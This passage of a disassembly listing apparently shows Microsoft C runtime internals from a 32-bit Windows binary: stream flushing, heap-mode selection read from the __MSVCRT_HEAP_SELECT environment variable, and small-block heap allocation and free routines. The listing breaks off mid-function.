		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; sub_41D1EC+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC60, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC58
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: sub_41DC8A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_42709C	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC8A	proc near		; CODE XREF: sub_41DDD2+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41DCCD
		cmp	[ebp+var_88], 2
		jnz	short loc_41DCCD
		cmp	[ebp+var_94], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: sub_41DC8A+27j
					; sub_41DC8A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4271B4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: sub_41DC8A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: sub_41DC8A+76j
					; sub_41DC8A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: sub_41DC8A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp+var_122C]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: sub_41DC8A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_427070	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: sub_41DC8A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: sub_41DC8A+CCj
					; sub_41DC8A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: sub_41DC8A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: sub_41DC8A+A5j
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: sub_41DC8A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: sub_41DC8A+10Cj
		inc	ecx


loc_41DD9D:				; CODE XREF: sub_41DC8A+110j
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: sub_41DC8A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: sub_41DC8A+5Cj
					; sub_41DC8A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41DC5D
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: sub_41DC8A+3Ej
					; sub_41DC8A+126j ...
		pop	ebx
		leave
		retn
sub_41DC8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDD2	proc near		; CODE XREF: sub_41D933+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4271BC	; HeapCreate
		test	eax, eax
		mov	dword_4DCFC4, eax
		jz	short loc_41DE28
		call	sub_41DC8A
		cmp	eax, 3
		mov	dword_4DCFC8, eax
		jnz	short loc_41DE0E
		push	3F8h
		call	sub_41DE2F
		pop	ecx
		jmp	short loc_41DE18
; ---------------------------------------------------------------------------


loc_41DE0E:				; CODE XREF: sub_41DDD2+2Dj
		cmp	eax, 2
		jnz	short loc_41DE2B
		call	sub_41E976


loc_41DE18:				; CODE XREF: sub_41DDD2+3Aj
		test	eax, eax
		jnz	short loc_41DE2B
		push	dword_4DCFC4
		call	dword_4271B8	; HeapDestroy


loc_41DE28:				; CODE XREF: sub_41DDD2+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DE2B:				; CODE XREF: sub_41DDD2+3Fj
					; sub_41DDD2+48j
		push	1
		pop	eax
		retn
sub_41DDD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE2F	proc near		; CODE XREF: sub_41DDD2+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DCFBC, eax
		jnz	short loc_41DE4C
		retn
; ---------------------------------------------------------------------------


loc_41DE4C:				; CODE XREF: sub_41DE2F+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DCFB4, 0
		and	dword_4DCFB8, 0
		push	1
		mov	dword_4DCFB0, eax
		mov	dword_4DCFC0, ecx
		mov	dword_4DCFA8, 10h
		pop	eax
		retn
sub_41DE2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFB8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFBC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFB4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFAC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DCFAC
		mov	eax, dword_4DCFB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFB4
		mov	ecx, dword_4DCFAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFB4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DCFB4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFC4
		call	dword_427140	; RtlFreeHeap
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFB8
		cmp	eax, dword_4DCFB4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFBC
		mov	dword_4DCFB0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFAC, edi
		mov	dword_4DCFB4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


